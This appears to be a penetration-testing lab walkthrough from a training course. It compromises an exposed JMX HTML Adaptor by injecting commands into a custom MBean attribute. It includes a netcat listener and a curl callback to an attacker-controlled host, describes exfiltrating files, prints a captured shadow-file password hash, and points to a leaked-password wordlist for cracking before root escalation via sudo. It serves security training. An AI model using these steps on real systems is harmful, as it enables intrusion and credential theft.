© 2020 Caendra Inc. - Hera For Waptxv2 - HTML Adapter To Root
© 2020 Caendra Inc. - Hera For Waptxv2 - HTML Adapter To Root
You are placed in an unknown network. Using nmap, discover an administrative console and explore it in
order to find a critical misconfiguration.
• Burpsuite
• Browser
• Nmap
• Netcat
• A password cracking tool
Focus on any non-default/custom functionality discovered during the previous task. Try achieving code
execution.
Hint: Explore all MBean components for command execution, but focus on the MBean’s only attribute.
Below, you can find solutions for each task. Remember though, that you can follow your own strategy,
which may be different from the one explained in the following lab.
We decide to investigate the non-standard http port that is visible in the results – 8000. It turns out to
expose an unprotected HTML Adaptor – which is a default JMX administrative interface.
We can see many default methods of the HTML adapter. There might be various ways of achieving code
execution. First we will focus on a non-default method which is named DiagAgent. Customized MBeans
are more likely to be vulnerable or insecure than default ones. We will take a look at diagnosticsbean as
htmladapter is the service on port 8000 we are currently interacting with.
The MBean consists of two functions that do not return any value and serve an unknown purpose. The
MBean also consists of one attribute (variable) that can be modified. We will try to inject OS commands
into that variable. It looks like the “Message” attribute simply holds a command to be executed.
nc -lvp 7000
curl http://172.16.64.3:7000/rce
Upon clicking “start” we get the request from the vulnerable server which confirms code execution.
Now we should be able to abuse code execution. Let’s try to exfiltrate data using curl. We will change
the “Message” attribute again, this time to the below.
After each change of the Message value we restart the netcat listener and press “start” again.
This way first, we can check if the current user is root and if so, we will obtain the password hashes.
xslt:$6$JUkOpKwn$ey9L68IqMovtItur1fLG0eWUh2f7NfCRJbmNpFCfk0oYw8Ldjt0ZkIeeyqZ5
4APpXd7tDTWtHxPeI0FqRlkDT.:18257:0:99999:7:::
https://github.com/danielmiessler/SecLists/blob/master/Passwords/Leaked-Databases/rockyou-05.txt
Knowing that SSH is open we can try to log in with that user. As root account is disabled and this is the
only account on the filesystem with a password, we can suspect it has some extended privileges.
By inspecting sudo rights (see above) we confirm that knowing the password of that user is enough to
take complete control over the machine.
10